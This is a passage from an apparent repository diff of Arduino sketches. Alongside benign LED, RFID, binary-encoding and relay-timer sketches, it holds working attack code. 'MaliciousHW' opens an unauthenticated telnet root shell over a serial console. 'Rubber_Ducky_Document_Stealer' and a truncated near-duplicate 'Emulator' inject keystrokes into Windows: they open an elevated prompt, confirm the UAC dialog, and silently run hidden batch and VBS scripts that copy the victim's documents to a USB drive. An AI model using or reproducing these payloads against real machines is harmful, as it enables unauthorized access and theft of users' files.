delay(1);
}
}

43
MULTIPLEXINGTEST_BITSHIFT/MULTIPLEXINGTEST_BITSHIFT.ino

@ -0,0 +1,43 @@
void ledOn(uint8_t led){
if((led >> 0) && 0x00000001 == 0x01){
digitalWrite(9, LOW);
digitalWrite(7, HIGH);
digitalWrite(5, HIGH);
digitalWrite(3, LOW);
}
if((led >> 1) && 0x00000001 == 0x01){
digitalWrite(9, HIGH);
digitalWrite(7, LOW);
digitalWrite(5, HIGH);
digitalWrite(3, LOW);
}
if((led >> 2) && 0x00000001 == 0x01){
digitalWrite(9, LOW);
digitalWrite(7, HIGH);
digitalWrite(5, LOW);
digitalWrite(3, HIGH);
}
if((led >> 3) && 0x00000001 == 0x01){
digitalWrite(9, HIGH);
digitalWrite(7, LOW);
digitalWrite(5, LOW);
digitalWrite(3, HIGH);
}
}
void setup() {
pinMode(9, OUTPUT);
pinMode(7, OUTPUT);
pinMode(5, OUTPUT);
pinMode(3, OUTPUT);
digitalWrite(9, LOW);
digitalWrite(7, LOW);
digitalWrite(5, LOW);
digitalWrite(3, LOW);
}
void loop() {
// put your main code here, to run repeatedly:
ledOn(0x00000010);
delay(100);
}

15
MaliciousHW/MaliciousHW.ino

@ -0,0 +1,15 @@
#include <SoftwareSerial.h>
const int rx=5;
const int tx=7;
SoftwareSerial serial(rx,tx);
void setup() {
serial.begin(115200);
delay(20000);
serial.println("ifconfig eth0 192.168.1.1/24");
serial.println("telnetd -l /bin/sh");
}
void loop() {
}

38
Morse/Morse.ino

@ -0,0 +1,38 @@
char* morseLetters[] = {"01100001", "01100010", "01100011", "01100100", "01100101", "01100110", "01100111", "01101000", "01101001","01101010", "01101011", "01101100", "01101101", "01101110", "01101111", "01110000", "01110001", "01110010" ,"01110011", "01110100", "01110101", "01110110", "01110111", "01111000", "01111001", "01111010" };
void setup(){
Serial.begin(9600);
}
void loop(){
char info;
if (Serial.available() > 0){
info = Serial.read();
if(info >= 'a' && info <= 'z'){
letterId(morseLetters[info - 'a']);
}else if(info >= 'A' && info <= 'Z'){
letterId(morseLetters[info - 'A']);
}else if(info == ' '){
Serial.print("00100000 ");
}else{
Serial.println();
}
}
}
void letterId(char* character){
int i = 0;
while(character[i] != '\0'){
output(character[i]);
i++;
}
Serial.print(" ");
}
void output(char ID){
if (ID == '0'){
Serial.print("0");
}else{
Serial.print("1");
}
}

46
RFID/RFID.ino

@ -0,0 +1,46 @@
#include "SPI.h"
#include "MFRC522.h"
#define SS_PIN 10
#define RST_PIN 5
#define KEY_RETURN 0xB0 // Hex value for return key.
MFRC522 mfrc522 (SS_PIN, RST_PIN);
char Enter = KEY_RETURN; // Return key is declared Enter.
String readid;
String card1 = "80429a4"; // UID of card/device.
unsigned long previousMillis = 0; // Stores last time Serial was sent.
const long interval = 1000; // Interval to send Serial (milliseconds).
void setup(){
Serial.begin(9600);
SPI.begin();
mfrc522.PCD_Init();
}
void temp(byte *buffer, byte bufferSize){ // Store UID as string datatype.
readid="";
for(byte i = 0;i<bufferSize; i++){
readid=readid+String(buffer[i], HEX);
}
}
void loop(){
if(!mfrc522.PICC_IsNewCardPresent()){
return;
}
if(!mfrc522.PICC_ReadCardSerial()){
return;
}
mfrc522.PICC_DumpToSerial(&(mfrc522.uid)); // Display card details in serial Monitor.
temp(mfrc522.uid.uidByte, mfrc522.uid.size);
if(readid==card1){
Serial.println(".");
}else{
return;
}
unsigned long currentMillis = millis(); // This helps with keeping ATmegaU32 connected on COM
if (currentMillis - previousMillis >= interval){
previousMillis = currentMillis;
//Serial.println();
}
}

75
RPIAutoReboot/RPIAutoReboot.ino

@ -0,0 +1,75 @@
#include "TimeLib.h"
const int relay = 9;
int houroff = 3;
int minoff = 00;
int houron = 5;
int minon = 00;
void printDigits(int digits){
Serial.print(":");
if(digits < 10)
Serial.print('0');
Serial.print(digits);
}
void setup(){
Serial.begin(9600);
pinMode(relay, OUTPUT);
setTime(0,0,0,1,1,18);
digitalWrite(relay, LOW);
}
void loop(){
if(hour() <= houron){
if(hour() >= houroff){
Serial.print(hour());
printDigits(minute());
printDigits(second());
Serial.println();
if(minute()+(hour()*60) < minon+(houron*60)){
if(minute()+(hour()*60) >= minoff+(houroff*60)){
digitalWrite(relay, HIGH);
}
}else{
digitalWrite(relay, LOW);
}
}
}
delay(10000);
}
/*
* 112:34:56
#include "TimeLib.h"
const int relay = 13;
float timeon;
float timeoff;
float n;
void printDigits(int digits){
Serial.print(":");
if(digits < 10)
Serial.print('0');
Serial.print(digits);
}
void setup(){
Serial.begin(9600);
pinMode(relay, OUTPUT);
setTime(12,0,0,1,1,18);
}
void loop(){
if(Serial.available()){
n = Serial.read();
Serial.println(n, DEC);
}
Serial.print(hour());
printDigits(minute());
printDigits(second());
Serial.println();
delay(1000);
}
*/

147
Rubber_Ducky_Document_Stealer/Rubber_Ducky_Document_Stealer.ino

@ -0,0 +1,147 @@
/*
Made By Jacob Still
Published March 1, 2018
This sketch is basically what Darren from Hak5 did, but
on an Arduino
Hak5 video: https://www.youtube.com/watch?v=6Ay9tpvnuJM
This sketch injects keystrokes (like a rubber ducky)
into a Windows box and sets up a script for document
transfer to a USB drive named Ducky
REQUIREMENTS TO FUNCTION:
-Windows box
-user with admin rigts
-USB drive named "DUCKY"
Commands Injected:
Command Prompt:
powershell start-process cmd.exe -verb runAs
cd %TEMP%
erase /Q DuckyWait.bat
copy con DuckyWait.bat
@echo off
:while1
for /f \"tokens=3 delims= \" %%A in ('echo list volume ^| diskpart ^| findstr \"DUCKY\"') DO (set DUCKYdrive=%%A:)
if [%DUCKYdrive%] EQU [] (
timeout /t 3
goto :while1
) else (
goto :break
)
timeout /t 30
goto :while1
:break
wscript.exe invis.vbs %DUCKYdrive%\\Duckslurp\\Duckslurp.bat
erase /Q invis.vbs
copy con invis.vbs
CreateObject(\"Wscript.Shell\").Run\"\"\"\" & WScript.Arguments(0) & \"\"\"\", 0, False
wscript.exe invis.vbs DuckyWait.bat
exit
*/
#include "Keyboard.h"
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup(){
Keyboard.begin();
delay(750);
//cmd and Bypass UAC
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(250);
Keyboard.print("powershell start-process cmd.exe -verb runAs");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(1500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1500);
//CD to TEMP
Keyboard.print("cd %TEMP%");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Erase DuckyWait.bat
Keyboard.print("erase /Q DuckyWait.bat");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Create DuckyWait.bat
Keyboard.print("copy con DuckyWait.bat");
typeKey(KEY_RETURN);
Keyboard.print("@echo off");
typeKey(KEY_RETURN);
Keyboard.print(":while1");
typeKey(KEY_RETURN);
Keyboard.print("for /f \"tokens=3 delims= \" %%A in ('echo list volume ^| diskpart ^| findstr \"DUCKY\"') DO (set DUCKYdrive=%%A:)");
typeKey(KEY_RETURN);
Keyboard.print("if [%DUCKYdrive%] EQU [] (");
typeKey(KEY_RETURN);
Keyboard.print("timeout /t 3");
typeKey(KEY_RETURN);
Keyboard.print("goto :while1");
typeKey(KEY_RETURN);
Keyboard.print(") else (");
typeKey(KEY_RETURN);
Keyboard.print("goto :break");
typeKey(KEY_RETURN);
Keyboard.print(")");
typeKey(KEY_RETURN);
Keyboard.print("timeout /t 30");
typeKey(KEY_RETURN);
Keyboard.print("goto :while1");
typeKey(KEY_RETURN);
Keyboard.print(":break");
typeKey(KEY_RETURN);
Keyboard.print("wscript.exe invis.vbs %DUCKYdrive%\\Duckslurp\\Duckslurp.bat");
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.print("z");
Keyboard.releaseAll();
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Erase invis.vbs
Keyboard.print("erase /Q invis.vbs");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Create invis.vbs
Keyboard.print("copy con invis.vbs");
typeKey(KEY_RETURN);
Keyboard.print("CreateObject(\"Wscript.Shell\").Run\"\"\"\" & WScript.Arguments(0) & \"\"\"\", 0, False");
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.print("z");
Keyboard.releaseAll();
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Launch invisible DuckyWait.bat and exit
Keyboard.print("wscript.exe invis.vbs DuckyWait.bat");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Exit cmd
Keyboard.print("exit");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.end();
}
void loop(){
// Unused bc we dont want to loop the payloads
// could use:
// while(true){} to end payloads
// but not worth the effort :)
}

6
Rubber_Ducky_Document_Stealer/desktop.ini

@ -0,0 +1,6 @@
[.ShellClassInfo]
IconResource=C:\WINDOWS\System32\SHELL32.dll,144
[ViewState]
Mode=
Vid=
FolderType=Documents

108
Rubber_Ducky_Emulator/Rubber_Ducky_Emulator.ino

@ -0,0 +1,108 @@
#include "Keyboard.h"
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup(){
Keyboard.begin();
delay(750);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(250);
Keyboard.print("powershell start-process cmd.exe -verb runAs");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(1500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1500);
Keyboard.print("cd %TEMP%");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Erase DuckyWait.bat
Keyboard.print("erase /Q DuckyWait.bat");
typeKey(KEY_RETURN);
Keyboard.releaseAll();
delay(100);
//Create DuckyWait.bat
Keyboard.print("copy con DuckyWait.bat");
typeKey(KEY_RETURN);
Keyboard.print("@echo off");
typeKey(KEY_RETURN);
Keyboard.print(":while1");
typeKey(KEY_RETURN);
Keyboard.print("for /f \"tokens=3 delims= \" %%A in ('echo list volume ^| diskpart ^| findstr \"DUCKY\"') DO (set DUCKYdrive=%%A:)");
typeKey(KEY_RETURN);
Keyboard.print("if [%DUCKYdrive%] EQU [] (");
typeKey(KEY_RETURN);
Keyboard.print("timeout /t 3");
typeKey(KEY_RETURN);
Keyboard.print("goto :while1");
typeKey(KEY_RETURN);
Keyboard.print(") else (");
typeKey(KEY_RETURN);
Keyboard.print("goto :break");
typeKey(KEY_RETURN);
Keyboard.print(")");
typeKey(KEY_RETURN);
Keyboard.print("timeout /t 30");
typeKey(KEY_RETURN);
Keyboard.print("goto :while1");
typeKey(KEY_RETURN);
Keyboard.print(":break");
typeKey(KEY_RETURN);
Keyboard.print("wscript.exe invis.vbs %DUCKYdrive%\\Duckslurp\\Duckslurp.bat");
typeKey(KEY_RETURN);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.print("z");